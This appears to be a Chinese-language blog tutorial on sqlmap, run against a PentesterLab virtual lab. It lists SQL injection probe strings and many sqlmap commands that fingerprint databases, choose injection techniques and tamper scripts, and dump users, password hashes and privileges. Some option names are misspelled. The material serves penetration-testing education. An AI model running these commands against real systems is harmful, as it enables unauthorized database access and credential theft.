sqlmap介绍和使用一
sqlmap介绍:
sqlmap开源的渗透测试工具,可以自动检测和利用sql注入缺陷,基于python编写,建议下载2.7或者2.8版本的python直接在命令行中调用解释器运行。
测试环境:
vmare搭建靶场pentesterlab 使用python + sqlmap进行测试
sql注入原理:
当客户端提交的数据未作处理或转义直接带入数据库,就可能造成sql注入,攻击者通过直接构造不同的sql语句来实现对数据库的任意操作。
sql注入的分类:
按变量类型分:数字型和字符型
按照HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
SQL注入基本手工注入流程:
判断注入点:
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、"))
注释符:-- (这是--空格)、--+、/**/、#
一、sqlmap使用:
(1)查看sqlmap版本信息 python sqlmap.py --version
(2)查看sqlmap的帮助信息 python sqlmap.py --help
二、 sqlmap直连数据库:
(1)服务型数据or关系型数据库,(用户名:root 密码:123456)
python sqlmap.py -d "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
(2)文件型数据库(前提条件:数据库的绝对路径)
DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
(3)sqlmap 针对单一的url探测,参数使用-u
python sqlmap.py -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --banner
三、 提高sqlmap 探测速度的方法
(1)持久连接 sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --current-db --keep-alive
(2) 多线程 sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbs --thread 10
四、 指定数据库类型
(1) sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --current-db
(2)sqlmap -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql [版本号] --current-db
五、 指定os后端操作系统 linux windows
(1)sqlmap -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql --os windows --current-db
六、 指定宽字节注入(tamper="unmagicquotes.py")
(1)sqlmap -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms mysql --dbs --thread 10 --tamper="unmagicquotes.py" -v 3 --batch
八、 强制设置无效值替换 --invalid -bignum,强制使用大整数来实现相同的目标(如id=88888).
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-bignum --current-db -v 3
强制使用布尔操作来实现相同的目标 --invalid-logical (如id =1 and 1=2)
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-logical --current-db -v 3
强制使用随机字符串来实现相同的目标 --invalid-string(如id=abcde)
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-string --current-db -v 3
九、 sqlmap设置自定义检测参数
指定要执行的测试等级的参数,一共五个层次 --level, 探测等级5,
--risk 平台危险等级3,一共3个等级,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --level=3 --tamper=base64encode --current-db
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --level=5 --risk=3 --tamper=base64encode --current-db
十、 sqlmap设置具体sql注入技术
--techbnique 参数用来设置具体sql 注入技术。
B:Boolean-based blind 基于布尔的盲注
E:Error-based 报错注入
U:Union query-based Unbion查询注入
S:Stacked queries 堆叠注入
T:Timed-based blind 时间的盲注
Q:lnline queries 内联查询注入
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique B --dbs
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique BS --dbs
十一、sqlmap设置时间盲注延迟时间,设置秒来延迟响应(DBMS延时)--time-sec选项
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique T
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique T --time-sec 3
十二、sqlmap设置union字段数,默认情况下,sqlmap测试使用1到10列的union查询sql注入技术,但是通过提供更高--level值,可以将此范围增加到50列
手动方法为工具提供选--union-cols后跟一些列整数,如12-16表示使用12到16个列对union查询sql注入进行测试
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique U union-cols 12-18
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 3 --technique U --union-char 123
(3) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique U --union-char 1 --union-cols 12-18
十三、sqlmap 检索DBMS Banner
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --banner -v 3
sqlmap 检索DBMS当前用户
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --current-user -v 3
sqlmap 检索当前数据库
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --current-db -v 3
sqlmap 检索当前数据库主机名 --hostname
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --hostname -v 3
sqlmap 检索当前用户是否是DBA --is-dba
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --is-dba
sqlmap 枚举DBMS用户
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique BU --users
sqlmap枚举DBMS用户密码
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique BU --password
sqlmap 枚举DBMS权限
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --role
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --privileges